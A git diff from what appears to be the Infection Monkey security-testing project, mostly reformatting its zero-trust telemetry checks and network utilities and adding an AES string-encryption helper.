- src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+ dst_ip = telemetry_json["data"]["machine"]["ip_addr"]
+ dst_domain_name = telemetry_json["data"]["machine"]["domain_name"]
+ src_monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])
dst_node = NodeService.get_monkey_by_ip(dst_ip)
if dst_node is None:
dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
@@ -17,5 +17,5 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
def get_tunnel_host_ip_from_proxy_field(telemetry_json):
- tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
+ tunnel_host_ip = telemetry_json["data"]["proxy"].split(":")[-2].replace("//", "")
return tunnel_host_ip
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py
index a6b90cc45..d2f154a9e 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py
@@ -3,8 +3,12 @@ import json
import common.common_consts.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.event import Event
-from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
+from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import (
+ ANTI_VIRUS_KNOWN_PROCESS_NAMES,
+)
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
def check_antivirus_existence(process_list_json, monkey_guid):
@@ -13,33 +17,39 @@ def check_antivirus_existence(process_list_json, monkey_guid):
process_list_event = Event.create_event(
title="Process list",
message="Monkey on {} scanned the process list".format(current_monkey.hostname),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL)
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL,
+ )
events = [process_list_event]
av_processes = filter_av_processes(process_list_json["process_list"])
for process in av_processes:
- events.append(Event.create_event(
- title="Found AV process",
- message="The process '{}' was recognized as an Anti Virus process. Process "
- "details: {}".format(process[1]['name'], json.dumps(process[1])),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL
- ))
+ events.append(
+ Event.create_event(
+ title="Found AV process",
+ message="The process '{}' was recognized as an Anti Virus process. Process "
+ "details: {}".format(process[1]["name"], json.dumps(process[1])),
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL,
+ )
+ )
if len(av_processes) > 0:
test_status = zero_trust_consts.STATUS_PASSED
else:
test_status = zero_trust_consts.STATUS_FAILED
- MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS,
- status=test_status, events=events)
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events
+ )
def filter_av_processes(process_list):
all_processes = list(process_list.items())
av_processes = []
for process in all_processes:
- process_name = process[1]['name']
+ process_name = process[1]["name"]
# This is for case-insensitive `in`. Generator expression is to save memory.
- if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES):
+ if process_name.upper() in (
+ known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES
+ ):
av_processes.append(process)
return av_processes
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py
index 2ef914786..6a3ec30aa 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py
@@ -1,34 +1,46 @@
import common.common_consts.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}"
-COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \
- "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}"
+COMM_AS_NEW_USER_SUCCEEDED_FORMAT = (
+ "New user created by Monkey on {} successfully tried to "
+ "communicate with the internet. Details: {}"
+)
def check_new_user_communication(current_monkey, success, message):
status = zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED
- MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER,
- status=status,
- events=[
- get_attempt_event(current_monkey),
- get_result_event(current_monkey, message, success)
- ])
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER,
+ status=status,
+ events=[
+ get_attempt_event(current_monkey),
+ get_result_event(current_monkey, message, success),
+ ],
+ )
def get_attempt_event(current_monkey):
tried_to_communicate_event = Event.create_event(
title="Communicate as new user",
- message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
+ message="Monkey on {} tried to create a new user and communicate from it.".format(
+ current_monkey.hostname
+ ),
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
+ )
return tried_to_communicate_event
def get_result_event(current_monkey, message, success):
- message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT
+ message_format = (
+ COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT
+ )
return Event.create_event(
title="Communicate as new user",
message=message_format.format(current_monkey.hostname, message),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
+ )
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py
index a5d42ef2c..9d790224a 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py
@@ -4,14 +4,16 @@ import common.common_consts.zero_trust_consts as zero_trust_consts
from common.common_consts.network_consts import ES_SERVICE
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.event import Event
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
-HTTP_SERVERS_SERVICES_NAMES = ['tcp-80']
+HTTP_SERVERS_SERVICES_NAMES = ["tcp-80"]
def check_open_data_endpoints(telemetry_json):
services = telemetry_json["data"]["machine"]["services"]
- current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"])
found_http_server_status = zero_trust_consts.STATUS_PASSED
found_elastic_search_server = zero_trust_consts.STATUS_PASSED
@@ -19,46 +21,60 @@ def check_open_data_endpoints(telemetry_json):
Event.create_event(
title="Scan Telemetry",
message="Monkey on {} tried to perform a network scan, the target was {}.".format(
- current_monkey.hostname,
- telemetry_json["data"]["machine"]["ip_addr"]),
+ current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"]
+ ),
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
- timestamp=telemetry_json["timestamp"]
+ timestamp=telemetry_json["timestamp"],
)
]
for service_name, service_data in list(services.items()):
- events.append(Event.create_event(
- title="Scan telemetry analysis",
- message="Scanned service: {}.".format(service_name),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
- ))
+ events.append(
+ Event.create_event(
+ title="Scan telemetry analysis",
+ message="Scanned service: {}.".format(service_name),
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
+ )
+ )
if service_name in HTTP_SERVERS_SERVICES_NAMES:
found_http_server_status = zero_trust_consts.STATUS_FAILED
- events.append(Event.create_event(
- title="Scan telemetry analysis",
- message="Service {} on {} recognized as an open data endpoint! Service details: {}".format(
- service_data["display_name"],
- telemetry_json["data"]["machine"]["ip_addr"],
- json.dumps(service_data)
- ),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
- ))
+ events.append(
+ Event.create_event(
+ title="Scan telemetry analysis",
+ message="Service {} on {} recognized as an open data endpoint! "
+ "Service details: {}".format(
+ service_data["display_name"],
+ telemetry_json["data"]["machine"]["ip_addr"],
+ json.dumps(service_data),
+ ),
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
+ )
+ )
if service_name == ES_SERVICE:
found_elastic_search_server = zero_trust_consts.STATUS_FAILED
- events.append(Event.create_event(
- title="Scan telemetry analysis",
- message="Service {} on {} recognized as an open data endpoint! Service details: {}".format(
- service_data["display_name"],
- telemetry_json["data"]["machine"]["ip_addr"],
- json.dumps(service_data)
- ),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
- ))
+ events.append(
+ Event.create_event(
+ title="Scan telemetry analysis",
+ message="Service {} on {} recognized as an open data endpoint! "
+ "Service details: {}".format(
+ service_data["display_name"],
+ telemetry_json["data"]["machine"]["ip_addr"],
+ json.dumps(service_data),
+ ),
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
+ )
+ )
- MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP,
- status=found_http_server_status, events=events)
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP,
+ status=found_http_server_status,
+ events=events,
+ )
- MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC,
- status=found_elastic_search_server, events=events)
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC,
+ status=found_elastic_search_server,
+ events=events,
+ )
MonkeyZTFindingService.add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py
index 291348467..2a5c45613 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py
@@ -83,5 +83,5 @@ ANTI_VIRUS_KNOWN_PROCESS_NAMES = [
"gc-fastpath.exe",
"gc-enforcement-channel.exe",
"gc-enforcement-agent.exe",
- "gc-agent-ui.exe"
+ "gc-agent-ui.exe",
]
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py
index d6813259c..9bf0f5de6 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py
@@ -1,6 +1,8 @@
import common.common_consts.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
def check_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp):
@@ -8,11 +10,10 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, targe
Event.create_event(
title="Exploit attempt",
message="Monkey on {} attempted to exploit {} using {}.".format(
- current_monkey.hostname,
- target_ip,
- exploiter),
+ current_monkey.hostname, target_ip, exploiter
+ ),
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
- timestamp=timestamp
+ timestamp=timestamp,
)
]
status = zero_trust_consts.STATUS_PASSED
@@ -21,15 +22,16 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, targe
Event.create_event(
title="Exploit success!",
message="Monkey on {} successfully exploited {} using {}.".format(
- current_monkey.hostname,
- target_ip,
- exploiter),
+ current_monkey.hostname, target_ip, exploiter
+ ),
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
- timestamp=timestamp)
+ timestamp=timestamp,
+ )
)
status = zero_trust_consts.STATUS_FAILED
- MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status,
- events=events)
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events
+ )
MonkeyZTFindingService.add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py
index d5a56b36d..d26e2bd69 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py
@@ -5,15 +5,23 @@ from common.network.network_range import NetworkRange
from common.network.segmentation_utils import get_ip_if_in_subnet, get_ip_in_src_and_not_in_dst
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.event import Event
-from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
+from monkey_island.cc.services.configuration.utils import (
+ get_config_network_segments_as_subnet_groups,
+)
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
-SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
- "from `{src_seg}` segments to `{dst_seg}` segments."
+SEGMENTATION_DONE_EVENT_TEXT = (
+ "Monkey on {hostname} is done attempting cross-segment communications "
+ "from `{src_seg}` segments to `{dst_seg}` segments."
+)
-SEGMENTATION_VIOLATION_EVENT_TEXT = \
- "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
+SEGMENTATION_VIOLATION_EVENT_TEXT = (
+ "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment "
+ "{source_seg}) "
"managed to communicate cross segment to {target_ip} (in segment {target_seg})."
+)
def check_segmentation_violation(current_monkey, target_ip):
@@ -25,22 +33,27 @@ def check_segmentation_violation(current_monkey, target_ip):
source_subnet = subnet_pair[0]
target_subnet = subnet_pair[1]
if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
- event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet)
+ event = get_segmentation_violation_event(
+ current_monkey, source_subnet, target_ip, target_subnet
+ )
MonkeyZTFindingService.create_or_add_to_existing(
test=zero_trust_consts.TEST_SEGMENTATION,
status=zero_trust_consts.STATUS_FAILED,
- events=[event]
+ events=[event],
)
-def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str) -> bool:
+def is_segmentation_violation(
+ current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str
+) -> bool:
"""
Checks is a specific communication is a segmentation violation.
:param current_monkey: The source monkey which originated the communication.
:param target_ip: The target with which the current monkey communicated with.
:param source_subnet: The segment the monkey belongs to.
:param target_subnet: Another segment which the monkey isn't supposed to communicate with.
- :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False.
+ :return: True if this is a violation of segmentation between source_subnet and
+ target_subnet; Otherwise, False.
"""
if source_subnet == target_subnet:
return False
@@ -49,9 +62,8 @@ def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_sub
if target_subnet_range.is_in_range(str(target_ip)):
cross_segment_ip = get_ip_in_src_and_not_in_dst(
- current_monkey.ip_addresses,
- source_subnet_range,
- target_subnet_range)
+ current_monkey.ip_addresses, source_subnet_range, target_subnet_range
+ )
return cross_segment_ip is not None
@@ -61,17 +73,21 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t
title="Segmentation event",
message=SEGMENTATION_VIOLATION_EVENT_TEXT.format(
hostname=current_monkey.hostname,
- source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)),
+ source_ip=get_ip_if_in_subnet(
+ current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)
+ ),
source_seg=source_subnet,
target_ip=target_ip,
- target_seg=target_subnet
+ target_seg=target_subnet,
),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
)
def check_passed_findings_for_unreached_segments(current_monkey):
- flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist]
+ flat_all_subnets = [
+ item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist
+ ]
create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey)
@@ -79,13 +95,17 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey):
# Filter the subnets that this monkey is part of.
this_monkey_subnets = []
for subnet in all_subnets:
- if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None:
+ if (
+ get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet))
+ is not None
+ ):
this_monkey_subnets.append(subnet)
# Get all the other subnets.
other_subnets = list(set(all_subnets) - set(this_monkey_subnets))
- # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey
+ # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are
+ # the pairs that the monkey
# should have tested.
all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets)
@@ -93,7 +113,7 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey):
MonkeyZTFindingService.create_or_add_to_existing(
status=zero_trust_consts.STATUS_PASSED,
events=[get_segmentation_done_event(current_monkey, subnet_pair)],
- test=zero_trust_consts.TEST_SEGMENTATION
+ test=zero_trust_consts.TEST_SEGMENTATION,
)
@@ -101,8 +121,7 @@ def get_segmentation_done_event(current_monkey, subnet_pair):
return Event.create_event(
title="Segmentation test done",
message=SEGMENTATION_DONE_EVENT_TEXT.format(
- hostname=current_monkey.hostname,
- src_seg=subnet_pair[0],
- dst_seg=subnet_pair[1]),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK
+ hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1]
+ ),
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py
index 4b755be98..092fd67e2 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py
@@ -2,23 +2,31 @@ import common.common_consts.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
def check_tunneling_violation(tunnel_telemetry_json):
- if tunnel_telemetry_json['data']['proxy'] is not None:
+ if tunnel_telemetry_json["data"]["proxy"] is not None:
# Monkey is tunneling, create findings
tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json)
- current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid'])
- tunneling_events = [Event.create_event(
- title="Tunneling event",
- message="Monkey on {hostname} tunneled traffic through {proxy}.".format(
- hostname=current_monkey.hostname, proxy=tunnel_host_ip),
- event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
- timestamp=tunnel_telemetry_json['timestamp']
- )]
+ current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json["monkey_guid"])
+ tunneling_events = [
+ Event.create_event(
+ title="Tunneling event",
+ message="Monkey on {hostname} tunneled traffic through {proxy}.".format(
+ hostname=current_monkey.hostname, proxy=tunnel_host_ip
+ ),
+ event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=tunnel_telemetry_json["timestamp"],
+ )
+ ]
- MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_TUNNELING,
- status=zero_trust_consts.STATUS_FAILED, events=tunneling_events)
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=zero_trust_consts.TEST_TUNNELING,
+ status=zero_trust_consts.STATUS_FAILED,
+ events=tunneling_events,
+ )
MonkeyZTFindingService.add_malicious_activity_to_timeline(tunneling_events)
diff --git a/monkey/monkey_island/cc/services/tests/test_config.py b/monkey/monkey_island/cc/services/tests/test_config.py
deleted file mode 100644
index 6cee39fbb..000000000
--- a/monkey/monkey_island/cc/services/tests/test_config.py
+++ /dev/null
@@ -1,34 +0,0 @@
-import pytest
-
-import monkey_island.cc.services.config
-from monkey_island.cc.environment import Environment
-from monkey_island.cc.services.config import ConfigService
-
-IPS = ["0.0.0.0", "9.9.9.9"]
-PORT = 9999
-
-# If tests fail because config path is changed, sync with
-# monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js
-
-
-@pytest.fixture
-def config(monkeypatch):
- monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses",
- lambda: IPS)
- monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT)
- config = ConfigService.get_default_config(True)
- return config
-
-
-def test_set_server_ips_in_config_command_servers(config):
- ConfigService.set_server_ips_in_config(config)
- expected_config_command_servers = [f"{ip}:{PORT}" for ip in IPS]
- assert config["internal"]["island_server"]["command_servers"] ==\
- expected_config_command_servers
-
-
-def test_set_server_ips_in_config_current_server(config):
- ConfigService.set_server_ips_in_config(config)
- expected_config_current_server = f"{IPS[0]}:{PORT}"
- assert config["internal"]["island_server"]["current_server"] ==\
- expected_config_current_server
diff --git a/monkey/monkey_island/cc/services/utils/encryption.py b/monkey/monkey_island/cc/services/utils/encryption.py
new file mode 100644
index 000000000..ae4af2257
--- /dev/null
+++ b/monkey/monkey_island/cc/services/utils/encryption.py
@@ -0,0 +1,59 @@
+import base64
+import io
+import logging
+
+import pyAesCrypt
+
+BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef
+
+logger = logging.getLogger(__name__)
+
+
+def encrypt_string(plaintext: str, password: str) -> str:
+ plaintext_stream = io.BytesIO(plaintext.encode())
+ ciphertext_stream = io.BytesIO()
+
+ pyAesCrypt.encryptStream(plaintext_stream, ciphertext_stream, password, BUFFER_SIZE)
+
+ ciphertext_b64 = base64.b64encode(ciphertext_stream.getvalue())
+ logger.info("String encrypted.")
+
+ return ciphertext_b64.decode()
+
+
+def decrypt_ciphertext(ciphertext: str, password: str) -> str:
+ ciphertext = base64.b64decode(ciphertext)
+ ciphertext_stream = io.BytesIO(ciphertext)
+ plaintext_stream = io.BytesIO()
+
+ ciphertext_stream_len = len(ciphertext_stream.getvalue())
+
+ try:
+ pyAesCrypt.decryptStream(
+ ciphertext_stream,
+ plaintext_stream,
+ password,
+ BUFFER_SIZE,
+ ciphertext_stream_len,
+ )
+ except ValueError as ex:
+ if str(ex).startswith("Wrong password"):
+ logger.info("Wrong password provided for decryption.")
+ raise InvalidCredentialsError
+ else:
+ logger.info("The corrupt ciphertext provided.")
+ raise InvalidCiphertextError
+ return plaintext_stream.getvalue().decode("utf-8")
+
+
+def is_encrypted(ciphertext: str) -> bool:
+ ciphertext = base64.b64decode(ciphertext)
+ return ciphertext.startswith(b"AES")
+
+
+class InvalidCredentialsError(Exception):
+ """ Raised when password for decryption is invalid """
+
+
+class InvalidCiphertextError(Exception):
+ """ Raised when ciphertext is corrupted """
diff --git a/monkey/monkey_island/cc/services/utils/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py
index cd4f6c4a1..fc991a1c0 100644
--- a/monkey/monkey_island/cc/services/utils/network_utils.py
+++ b/monkey/monkey_island/cc/services/utils/network_utils.py
@@ -9,13 +9,14 @@ from typing import List
from netifaces import AF_INET, ifaddresses, interfaces
from ring import lru
-__author__ = 'Barak'
-
# Local ips function
if sys.platform == "win32":
+
def local_ips():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
+
+
else:
import fcntl
@@ -28,12 +29,15 @@ else:
max_possible = 8 # initial value
while True:
struct_bytes = max_possible * struct_size
- names = array.array('B', '\0' * struct_bytes)
- outbytes = struct.unpack('iL', fcntl.ioctl(
- s.fileno(),
- 0x8912, # SIOCGIFCONF
- struct.pack('iL', struct_bytes, names.buffer_info()[0])
- ))[0]
+ names = array.array("B", "\0" * struct_bytes)
+ outbytes = struct.unpack(
+ "iL",
+ fcntl.ioctl(
+ s.fileno(),
+ 0x8912, # SIOCGIFCONF
+ struct.pack("iL", struct_bytes, names.buffer_info()[0]),
+ ),
+ )[0]
if outbytes == struct_bytes:
max_possible *= 2
else:
@@ -41,8 +45,8 @@ else:
namestr = names.tostring()
for i in range(0, outbytes, struct_size):
- addr = socket.inet_ntoa(namestr[i + 20:i + 24])
- if not addr.startswith('127'):
+ addr = socket.inet_ntoa(namestr[i + 20 : i + 24])
+ if not addr.startswith("127"):
result.append(addr)
# name of interface is (namestr[i:i+16].split('\0', 1)[0]
finally:
@@ -50,27 +54,33 @@ else:
def is_local_ips(ips: List) -> bool:
- filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith('169.254')]
+ filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith("169.254")]
return collections.Counter(ips) == collections.Counter(filtered_local_ips)
-# The local IP addresses list should not change often. Therefore, we can cache the result and never call this function
-# more than once. This stopgap measure is here since this function is called a lot of times during the report
+# The local IP addresses list should not change often. Therefore, we can cache the result and
+# never call this function
+# more than once. This stopgap measure is here since this function is called a lot of times
+# during the report
# generation.
-# This means that if the interfaces of the Island machine change, the Island process needs to be restarted.
+# This means that if the interfaces of the Island machine change, the Island process needs to be
+# restarted.
@lru(maxsize=1)
def local_ip_addresses():
ip_list = []
for interface in interfaces():
addresses = ifaddresses(interface).get(AF_INET, [])
- ip_list.extend([link['addr'] for link in addresses if link['addr'] != '127.0.0.1'])
+ ip_list.extend([link["addr"] for link in addresses if link["addr"] != "127.0.0.1"])
return ip_list
-# The subnets list should not change often. Therefore, we can cache the result and never call this function
-# more than once. This stopgap measure is here since this function is called a lot of times during the report
+# The subnets list should not change often. Therefore, we can cache the result and never call
+# this function
+# more than once. This stopgap measure is here since this function is called a lot of times
+# during the report
# generation.
-# This means that if the interfaces or subnets of the Island machine change, the Island process needs to be restarted.
+# This means that if the interfaces or subnets of the Island machine change, the Island process
+# needs to be restarted.
@lru(maxsize=1)
def get_subnets():
subnets = []
@@ -78,10 +88,9 @@ def get_subnets():
addresses = ifaddresses(interface).get(AF_INET, [])
subnets.extend(
[
- ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network
- for link
- in addresses
- if link['addr'] != '127.0.0.1'
+ ipaddress.ip_interface(link["addr"] + "/" + link["netmask"]).network
+ for link in addresses
+ if link["addr"] != "127.0.0.1"
]
)
return subnets
diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py
index 3b7e48c65..bf5f2211a 100644
--- a/monkey/monkey_island/cc/services/utils/node_states.py
+++ b/monkey/monkey_island/cc/services/utils/node_states.py
@@ -6,40 +6,46 @@ from typing import List
class NodeStates(Enum):
- CLEAN_UNKNOWN = 'clean_unknown'
- CLEAN_LINUX = 'clean_linux'
- CLEAN_WINDOWS = 'clean_windows'
- EXPLOITED_LINUX = 'exploited_linux'
- EXPLOITED_WINDOWS = 'exploited_windows'
- ISLAND = 'island'
- ISLAND_MONKEY_LINUX = 'island_monkey_linux'
- ISLAND_MONKEY_LINUX_RUNNING = 'island_monkey_linux_running'
- ISLAND_MONKEY_LINUX_STARTING = 'island_monkey_linux_starting'
- ISLAND_MONKEY_WINDOWS = 'island_monkey_windows'
- ISLAND_MONKEY_WINDOWS_RUNNING = 'island_monkey_windows_running'
- ISLAND_MONKEY_WINDOWS_STARTING = 'island_monkey_windows_starting'
- MANUAL_LINUX = 'manual_linux'
- MANUAL_LINUX_RUNNING = 'manual_linux_running'
- MANUAL_WINDOWS = 'manual_windows'
- MANUAL_WINDOWS_RUNNING = 'manual_windows_running'
- MONKEY_LINUX = 'monkey_linux'
- MONKEY_LINUX_RUNNING = 'monkey_linux_running'
- MONKEY_WINDOWS = 'monkey_windows'
- MONKEY_WINDOWS_RUNNING = 'monkey_windows_running'
- MONKEY_WINDOWS_STARTING = 'monkey_windows_starting'
- MONKEY_LINUX_STARTING = 'monkey_linux_starting'
- MONKEY_WINDOWS_OLD = 'monkey_windows_old'
